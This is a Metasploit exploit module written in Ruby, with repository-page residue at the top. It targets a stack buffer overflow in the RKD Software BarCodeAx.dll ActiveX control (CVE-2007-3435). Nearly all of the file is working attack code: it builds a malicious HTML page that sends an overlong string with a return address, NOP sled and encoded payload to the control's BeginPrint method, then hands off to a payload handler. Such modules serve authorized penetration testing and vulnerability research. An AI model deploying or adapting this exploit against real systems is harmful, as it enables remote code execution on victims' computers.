92 lines
2.3 KiB
Ruby
92 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in RKD Software Barcode Application
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ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
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method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.milw0rm.com/exploits/4094' ],
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[ 'OSVDB', '37482' ],
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[ 'BID', '24596' ],
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[ 'CVE', '2007-3435' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0
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],
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'DisclosureDate' => 'Jun 22 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
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<script language='javascript'>
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#{vname}.BeginPrint("#{buff}");
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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